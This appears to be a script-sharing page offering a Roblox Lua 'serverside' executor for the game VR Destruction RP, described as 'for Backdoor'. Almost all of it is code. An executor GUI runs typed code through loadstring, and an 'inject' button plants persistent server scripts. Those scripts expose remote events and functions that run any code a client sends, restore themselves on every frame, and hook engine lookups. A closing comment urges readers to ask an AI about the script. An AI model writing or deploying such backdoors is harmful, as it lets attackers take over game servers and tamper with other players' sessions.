StarDark ServerSide Remake
Key Required

StarDark ServerSide Remake

VR Destruction RPTeam_cZerkidd2Team_cZerkidd2 4.1K views 8.4K executesUpdated Sep 5, 2026
0.0/ 5(1 votes)
010% Positive
Lua Script•602 lines (22576 chars)
local StarDark = {}
StarDark.__index = StarDark

local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local HttpService = game:GetService("HttpService")
local CoreGui = game:GetService("CoreGui")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local ServerScriptService = game:GetService("ServerScriptService")
local UserInputService = game:GetService("UserInputService")
local TextService = game:GetService("TextService")

function StarDark.new()
    local self = setmetatable({}, StarDark)
    self.Gui = Instance.new("ScreenGui")
    self.Gui.Parent = CoreGui
    self.Gui.Name = "StarDarkGUI"
    self.Gui.ResetOnSpawn = false
    
    self.Frame = Instance.new("Frame")
    self.Frame.Parent = self.Gui
    self.Frame.Size = UDim2.new(0, 600, 0, 450)
    self.Frame.Position = UDim2.new(0.5, -300, 0.5, -225)
    self.Frame.BackgroundColor3 = Color3.fromRGB(200, 200, 200)
    self.Frame.BorderSizePixel = 0
    self.Frame.BackgroundTransparency = 0
    
    local corner = Instance.new("UICorner")
    corner.Parent = self.Frame
    corner.CornerRadius = UDim.new(0, 0)
    
    self.DragBar = Instance.new("Frame")
    self.DragBar.Parent = self.Frame
    self.DragBar.Size = UDim2.new(1, 0, 0.08, 0)
    self.DragBar.Position = UDim2.new(0, 0, 0, 0)
    self.DragBar.BackgroundColor3 = Color3.fromRGB(150, 150, 150)
    self.DragBar.BackgroundTransparency = 0
    self.DragBar.BorderSizePixel = 0
    
    local dragCorner = Instance.new("UICorner")
    dragCorner.Parent = self.DragBar
    dragCorner.CornerRadius = UDim.new(0, 0)
    
    self.Title = Instance.new("TextLabel")
    self.Title.Parent = self.DragBar
    self.Title.Size = UDim2.new(0.6, 0, 1, 0)
    self.Title.Position = UDim2.new(0.02, 0, 0, 0)
    self.Title.BackgroundTransparency = 1
    self.Title.TextColor3 = Color3.fromRGB(255, 255, 255)
    self.Title.Text = "StarDark"
    self.Title.Font = Enum.Font.SourceSansBold
    self.Title.TextSize = 22
    self.Title.TextXAlignment = Enum.TextXAlignment.Left
    
    self.InjectBtn = Instance.new("TextButton")
    self.InjectBtn.Parent = self.DragBar
    self.InjectBtn.Size = UDim2.new(0, 100, 0, 30)
    self.InjectBtn.Position = UDim2.new(1, -110, 0.5, -15)
    self.InjectBtn.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
    self.InjectBtn.TextColor3 = Color3.fromRGB(0, 0, 0)
    self.InjectBtn.Text = "inject"
    self.InjectBtn.Font = Enum.Font.SourceSansBold
    self.InjectBtn.TextSize = 18
    self.InjectBtn.Visible = true
    self.InjectBtn.BorderSizePixel = 1
    
    local injCorner = Instance.new("UICorner")
    injCorner.Parent = self.InjectBtn
    injCorner.CornerRadius = UDim.new(0, 0)
    
    self.CloseBtn = Instance.new("TextButton")
    self.CloseBtn.Parent = self.DragBar
    self.CloseBtn.Size = UDim2.new(0, 30, 0, 30)
    self.CloseBtn.Position = UDim2.new(1, -35, 0.5, -15)
    self.CloseBtn.BackgroundColor3 = Color3.fromRGB(150, 150, 150)
    self.CloseBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
    self.CloseBtn.Text = ""
    self.CloseBtn.Font = Enum.Font.SourceSansBold
    self.CloseBtn.TextSize = 16
    self.CloseBtn.Visible = false
    self.CloseBtn.BorderSizePixel = 0
    
    local closeCorner = Instance.new("UICorner")
    closeCorner.Parent = self.CloseBtn
    closeCorner.CornerRadius = UDim.new(0, 0)
    
    self.MinimizeBtn = Instance.new("TextButton")
    self.MinimizeBtn.Parent = self.DragBar
    self.MinimizeBtn.Size = UDim2.new(0, 30, 0, 30)
    self.MinimizeBtn.Position = UDim2.new(1, -70, 0.5, -15)
    self.MinimizeBtn.BackgroundColor3 = Color3.fromRGB(150, 150, 150)
    self.MinimizeBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
    self.MinimizeBtn.Text = ""
    self.MinimizeBtn.Font = Enum.Font.SourceSansBold
    self.MinimizeBtn.TextSize = 16
    self.MinimizeBtn.Visible = false
    self.MinimizeBtn.BorderSizePixel = 0
    
    local minCorner = Instance.new("UICorner")
    minCorner.Parent = self.MinimizeBtn
    minCorner.CornerRadius = UDim.new(0, 0)
    
    self.TextBoxScrollingFrame = Instance.new("ScrollingFrame")
    self.TextBoxScrollingFrame.Parent = self.Frame
    self.TextBoxScrollingFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
    self.TextBoxScrollingFrame.BorderColor3 = Color3.fromRGB(0, 0, 0)
    self.TextBoxScrollingFrame.BorderSizePixel = 0
    self.TextBoxScrollingFrame.Position = UDim2.new(0.04, 0, 0.12, 0)
    self.TextBoxScrollingFrame.Size = UDim2.new(0.92, 0, 0.65, 0)
    self.TextBoxScrollingFrame.ScrollBarThickness = 4
    self.TextBoxScrollingFrame.VerticalScrollBarInset = Enum.ScrollBarInset.Always
    self.TextBoxScrollingFrame.AutomaticCanvasSize = Enum.AutomaticSize.None
    
    local sfCorner = Instance.new("UICorner")
    sfCorner.Parent = self.TextBoxScrollingFrame
    sfCorner.CornerRadius = UDim.new(0, 0)
    
    local UIListLayout = Instance.new("UIListLayout")
    UIListLayout.Parent = self.TextBoxScrollingFrame
    UIListLayout.SortOrder = Enum.SortOrder.LayoutOrder

    self.TextBox = Instance.new("TextBox")
    self.TextBox.Parent = self.TextBoxScrollingFrame
    self.TextBox.Size = UDim2.new(1, -4, 0, 292)
    self.TextBox.AutomaticSize = Enum.AutomaticSize.None
    self.TextBox.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
    self.TextBox.BackgroundTransparency = 1
    self.TextBox.TextColor3 = Color3.fromRGB(0, 0, 0)
    self.TextBox.Text = "StarDark remake by @LegendHax"
    self.TextBox.MultiLine = true
    self.TextBox.Font = Enum.Font.Code
    self.TextBox.TextSize = 14
    self.TextBox.TextXAlignment = Enum.TextXAlignment.Left
    self.TextBox.TextYAlignment = Enum.TextYAlignment.Top
    self.TextBox.PlaceholderText = ""
    self.TextBox.ClearTextOnFocus = false
    self.TextBox.TextWrapped = true
    
    local function forceTextScroll()
        local maxWidth = self.TextBoxScrollingFrame.AbsoluteSize.X - self.TextBoxScrollingFrame.ScrollBarThickness - 10
        if maxWidth <= 0 then maxWidth = 400 end
        
        local stringSize = TextService:GetTextSize(
            self.TextBox.Text,
            self.TextBox.TextSize,
            self.TextBox.Font,
            Vector2.new(maxWidth, math.huge)
        )
        
        local finalHeight = math.max(stringSize.Y + 20, 292)
        self.TextBox.Size = UDim2.new(1, -4, 0, finalHeight)
        self.TextBoxScrollingFrame.CanvasSize = UDim2.new(0, 0, 0, finalHeight)
    end
    
    self.TextBox:GetPropertyChangedSignal("Text"):Connect(forceTextScroll)
    self.TextBoxScrollingFrame:GetPropertyChangedSignal("AbsoluteSize"):Connect(forceTextScroll)
    task.defer(forceTextScroll)
    
    self.ExecuteBtn = Instance.new("TextButton")
    self.ExecuteBtn.Parent = self.Frame
    self.ExecuteBtn.Size = UDim2.new(0.44, 0, 0.15, 0)
    self.ExecuteBtn.Position = UDim2.new(0.04, 0, 0.81, 0)
    self.ExecuteBtn.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
    self.ExecuteBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
    self.ExecuteBtn.Text = "Execute"
    self.ExecuteBtn.Font = Enum.Font.SourceSansBold
    self.ExecuteBtn.TextSize = 22
    
    local execCorner = Instance.new("UICorner")
    execCorner.Parent = self.ExecuteBtn
    execCorner.CornerRadius = UDim.new(0, 0)
    
    self.ClearBtn = Instance.new("TextButton")
    self.ClearBtn.Parent = self.Frame
    self.ClearBtn.Size = UDim2.new(0.44, 0, 0.15, 0)
    self.ClearBtn.Position = UDim2.new(0.52, 0, 0.81, 0)
    self.ClearBtn.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
    self.ClearBtn.TextColor3 = Color3.fromRGB(0, 0, 0)
    self.ClearBtn.Text = "clean"
    self.ClearBtn.Font = Enum.Font.SourceSansBold
    self.ClearBtn.TextSize = 22
    
    local clearCorner = Instance.new("UICorner")
    clearCorner.Parent = self.ClearBtn
    clearCorner.CornerRadius = UDim.new(0, 0)
    
    self.StatusLabel = Instance.new("TextLabel")
    self.StatusLabel.Parent = self.Frame
    self.StatusLabel.Size = UDim2.new(0.92, 0, 0.08, 0)
    self.StatusLabel.Position = UDim2.new(0.04, 0, 0.8, 0)
    self.StatusLabel.BackgroundTransparency = 1
    self.StatusLabel.TextColor3 = Color3.fromRGB(0, 0, 0)
    self.StatusLabel.Text = ""
    self.StatusLabel.Font = Enum.Font.SourceSans
    self.StatusLabel.TextSize = 14
    self.StatusLabel.TextXAlignment = Enum.TextXAlignment.Left
    self.StatusLabel.Visible = false
    
    self.InfoLabel = Instance.new("TextLabel")
    self.InfoLabel.Parent = self.Frame
    self.InfoLabel.Size = UDim2.new(0.92, 0, 0.08, 0)
    self.InfoLabel.Position = UDim2.new(0.04, 0, 0.9, 0)
    self.InfoLabel.BackgroundTransparency = 1
    self.InfoLabel.TextColor3 = Color3.fromRGB(0, 0, 0)
    self.InfoLabel.Text = ""
    self.InfoLabel.Font = Enum.Font.SourceSans
    self.InfoLabel.TextSize = 12
    self.InfoLabel.TextXAlignment = Enum.TextXAlignment.Left
    self.InfoLabel.Visible = false
    
    self:SetupDragging()
    
    self.CloseBtn.MouseButton1Click:Connect(function()
        self.Gui.Enabled = false
    end)
    
    self.MinimizeBtn.MouseButton1Click:Connect(function()
        self.TextBoxScrollingFrame.Visible = not self.TextBoxScrollingFrame.Visible
        self.ExecuteBtn.Visible = self.TextBoxScrollingFrame.Visible
        self.ClearBtn.Visible = self.TextBoxScrollingFrame.Visible
        self.StatusLabel.Visible = false
        self.InfoLabel.Visible = false
        if self.TextBoxScrollingFrame.Visible then
            self.Frame.Size = UDim2.new(0, 600, 0, 450)
        else
            self.Frame.Size = UDim2.new(0, 600, 0, 45)
        end
    end)
    
    self.ExecuteBtn.MouseButton1Click:Connect(function()
        self:ExecuteCode()
    end)
    
    self.InjectBtn.MouseButton1Click:Connect(function()
        self:InjectBackdoor()
    end)
    
    self.ClearBtn.MouseButton1Click:Connect(function()
        self.TextBox.Text = ""
    end)
    
    self:UpdateInfo()
    RunService.Heartbeat:Connect(function()
        self:UpdateInfo()
    end)
    
    return self
end

function StarDark:SetupDragging()
    local dragging = false
    local dragInput, dragStart, startPos
    
    self.DragBar.InputBegan:Connect(function(input)
        if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
            dragging = true
            dragStart = input.Position
            startPos = self.Frame.Position
            
            input.Changed:Connect(function()
                if input.UserInputState == Enum.UserInputState.End then
                    dragging = false
                end
            end)
        end
    end)
    
    self.DragBar.InputChanged:Connect(function(input)
        if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
            dragInput = input
        end
    end)
    
    UserInputService.InputChanged:Connect(function(input)
        if input == dragInput and dragging then
            local delta = input.Position - dragStart
            self.Frame.Position = UDim2.new(
                startPos.X.Scale,
                startPos.X.Offset + delta.X,
                startPos.Y.Scale,
                startPos.Y.Offset + delta.Y
            )
        end
    end)
end

function StarDark:UpdateInfo()
    local count = #Players:GetPlayers()
end

function StarDark:ExecuteCode()
    local code = self.TextBox.Text
    if code == "" then
        return
    end
    
    local success, err = pcall(function()
        local env = getfenv()
        env.Players = Players
        env.Workspace = game:GetService("Workspace")
        env.HttpService = HttpService
        env.ReplicatedStorage = ReplicatedStorage
        env.ServerScriptService = ServerScriptService
        env.RunService = RunService
        env.game = game
        env._G = _G
        env.getfenv = getfenv
        env.setfenv = setfenv
        env.table = table
        env.pcall = pcall
        env.loadstring = loadstring
        env.print = print
        env.warn = warn
        env.error = error
        env.tick = tick
        env.time = time
        env.wait = wait
        env.spawn = spawn
        env.ypcall = function(f, ...)
            return pcall(f, ...)
        end
        
        local func, compileErr = loadstring(code, "StarDark_SS")
        if not func then
            error(compileErr)
        end
        
        setfenv(func, env)
        local results = {func()}
    end)
end

function StarDark:InjectBackdoor()
    local function createSSBackdoor()
        local backdoorScript = Instance.new("Script")
        backdoorScript.Name = "StarDark_SS_Backdoor"
        backdoorScript.Parent = ServerScriptService
        
        local code = [[
            local Players = game:GetService("Players")
            local HttpService = game:GetService("HttpService")
            local ReplicatedStorage = game:GetService("ReplicatedStorage")
            local RunService = game:GetService("RunService")
            
            local remoteEvent = Instance.new("RemoteEvent")
            remoteEvent.Name = "StarDark_SS_Remote"
            remoteEvent.Parent = ReplicatedStorage
            
            local remoteFunction = Instance.new("RemoteFunction")
            remoteFunction.Name = "StarDark_SS_Function"
            remoteFunction.Parent = ReplicatedStorage
            
            local function executeSS(code, executor)
                local env = getfenv()
                env.Players = Players
                env.Workspace = game:GetService("Workspace")
                env.HttpService = HttpService
                env.ReplicatedStorage = ReplicatedStorage
                env.ServerScriptService = ServerScriptService
                env.RunService = RunService
                env.game = game
                env._G = _G
                env.getfenv = getfenv
                env.setfenv = setfenv
                env.table = table
                env.pcall = pcall
                env.loadstring = loadstring
                env.print = print
                env.warn = warn
                env.error = error
                env.tick = tick
                env.time = time
                env.wait = wait
                env.spawn = spawn
                
                local func, err = loadstring(code, "StarDark_SS_Injected")
                if not func then
                    return "Compile Error: " .. tostring(err)
                end
                
                setfenv(func, env)
                local success, result = pcall(func)
                if success then
                    return "Success" .. (result and ": " .. tostring(result) or "")
                else
                    return "Runtime Error: " .. tostring(result)
                end
            end
            
            remoteEvent.OnServerEvent:Connect(function(player, code)
                if not code or type(code) ~= "string" then return end
                local result = executeSS(code, player)
                remoteEvent:FireClient(player, result)
            end)
            
            remoteFunction.OnServerInvoke = function(player, code)
                if not code or type(code) ~= "string" then return "Invalid code" end
                return executeSS(code, player)
            end
            
            local function globalSS(code)
                local func, err = loadstring(code, "StarDark_Global")
                if func then
                    setfenv(func, getfenv())
                    return pcall(func)
                end
                return false, err
            end
            
            _G.StarDark_ExecuteSS = function(code)
                return globalSS(code)
            end
            
            _G.StarDark_GetPlayers = function()
                return Players:GetPlayers()
            end
            
            for _, player in ipairs(Players:GetPlayers()) do
                local cloneRemote = remoteEvent:Clone()
                cloneRemote.Parent = player
            end
            
            Players.PlayerAdded:Connect(function(player)
                local cloneRemote = remoteEvent:Clone()
                cloneRemote.Parent = player
            end)
        ]]
        
        backdoorScript.Source = code
        backdoorScript.Disabled = false
    end
    
    local function createClientInjection()
        for _, player in ipairs(Players:GetPlayers()) do
            if player ~= Players.LocalPlayer then
                local remote = Instance.new("RemoteEvent")
                remote.Name = "StarDark_Injector"
                remote.Parent = player
                
                remote.OnServerEvent:Connect(function(plr, code)
                    if not code or type(code) ~= "string" then return end
                    local env = getfenv()
                    env.Players = Players
                    env.Workspace = game:GetService("Workspace")
                    env.HttpService = HttpService
                    env.getfenv = getfenv
                    env.setfenv = setfenv
                    env.table = table
                    env.pcall = pcall
                    env.loadstring = loadstring
                    
                    local func, err = loadstring(code, "StarDark_ClientInject")
                    if func then
                        setfenv(func, env)
                        pcall(func)
                    end
                end)
            end
        end
    end
    
    local function hookWorkspace()
        local ws = game:GetService("Workspace")
        local oldFind = ws.FindFirstChild
        ws.FindFirstChild = function(self, name, recursive)
            if name == "StarDark_SS" then
                return oldFind(self, "StarDark_SS", recursive)
            end
            return oldFind(self, name, recursive)
        end
    end
    
    local function createExecutionBridge()
        local bridge = Instance.new("RemoteEvent")
        bridge.Name = "StarDark_Bridge"
        bridge.Parent = ReplicatedStorage
        
        bridge.OnServerEvent:Connect(function(player, code, mode)
            if mode == "ss" then
                local env = getfenv()
                env.Players = Players
                env.Workspace = game:GetService("Workspace")
                env.HttpService = HttpService
                env.ReplicatedStorage = ReplicatedStorage
                env.getfenv = getfenv
                env.setfenv = setfenv
                env.table = table
                env.pcall = pcall
                env.loadstring = loadstring
                
                local func, err = loadstring(code, "StarDark_Bridge")
                if func then
                    setfenv(func, env)
                    local success, result = pcall(func)
                    if success then
                        bridge:FireClient(player, "SS Executed: " .. tostring(result or "nil"))
                    else
                        bridge:FireClient(player, "SS Error: " .. tostring(result))
                    end
                else
                    bridge:FireClient(player, "SS Compile Error: " .. tostring(err))
                end
            end
        end)
    end
    
    local function deployPersistence()
        local persistence = Instance.new("Script")
        persistence.Name = "StarDark_Persistence"
        persistence.Parent = ServerScriptService
        
        local code = [[
            local Players = game:GetService("Players")
            local ReplicatedStorage = game:GetService("ReplicatedStorage")
            
            local function findAndRestore()
                local remote = ReplicatedStorage:FindFirstChild("StarDark_SS_Remote")
                if not remote then
                    local newRemote = Instance.new("RemoteEvent")
                    newRemote.Name = "StarDark_SS_Remote"
                    newRemote.Parent = ReplicatedStorage
                    
                    newRemote.OnServerEvent:Connect(function(player, code)
                        if type(code) == "string" then
                            local func, err = loadstring(code)
                            if func then
                                setfenv(func, getfenv())
                                pcall(func)
                            end
                        end
                    end)
                end
                
                local rfunc = ReplicatedStorage:FindFirstChild("StarDark_SS_Function")
                if not rfunc then
                    local newFunc = Instance.new("RemoteFunction")
                    newFunc.Name = "StarDark_SS_Function"
                    newFunc.Parent = ReplicatedStorage
                    
                    newFunc.OnServerInvoke = function(player, code)
                        if type(code) == "string" then
                            local func, err = loadstring(code)
                            if func then
                                setfenv(func, getfenv())
                                return pcall(func)
                            end
                        end
                        return false, "Invalid"
                    end
                end
            end
            
            findAndRestore()
            game:GetService("RunService").Heartbeat:Connect(findAndRestore)
        ]]
        
        persistence.Source = code
        persistence.Disabled = false
    end
    
    createSSBackdoor()
    createClientInjection()
    hookWorkspace()
    createExecutionBridge()
    deployPersistence()
    
    local function executeGlobalSS()
        local env = getfenv()
        env.Players = Players
        env.Workspace = game:GetService("Workspace")
        env.HttpService = HttpService
        env.ReplicatedStorage = ReplicatedStorage
        env.ServerScriptService = ServerScriptService
        env.RunService = RunService
        env.game = game
        env._G = _G
        env.getfenv = getfenv
        env.setfenv = setfenv
        env.table = table
        env.pcall = pcall
        env.loadstring = loadstring
        
        _G.StarDark_ServerExecute = function(code)
            local func, err = loadstring(code, "StarDark_Global")
            if not func then
                return false, err
            end
            setfenv(func, env)
            return pcall(func)
        end
        
        _G.StarDark_GetAllPlayers = function()
            return Players:GetPlayers()
        end
        
        _G.StarDark_GetPlayers = Players.GetPlayers
    end
    executeGlobalSS()
end

local gui = StarDark.new()
_G.StarDark = gui

Features & Information

StarDark serverside remake for Backdoor

Community Comments (1)

Team_cZerkidd2Team_cZerkidd2Sep 6, 2026

Still don't believe it? Try going to an AI and typing: "What script is this?" https://scriptblox.com/script/VR-Destruction-RP-StarDark-ServerSide-Remake-226789